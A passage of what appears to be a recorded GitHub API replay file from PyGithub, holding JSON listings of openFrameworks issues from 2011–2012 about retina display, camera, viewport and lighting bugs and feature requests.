osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3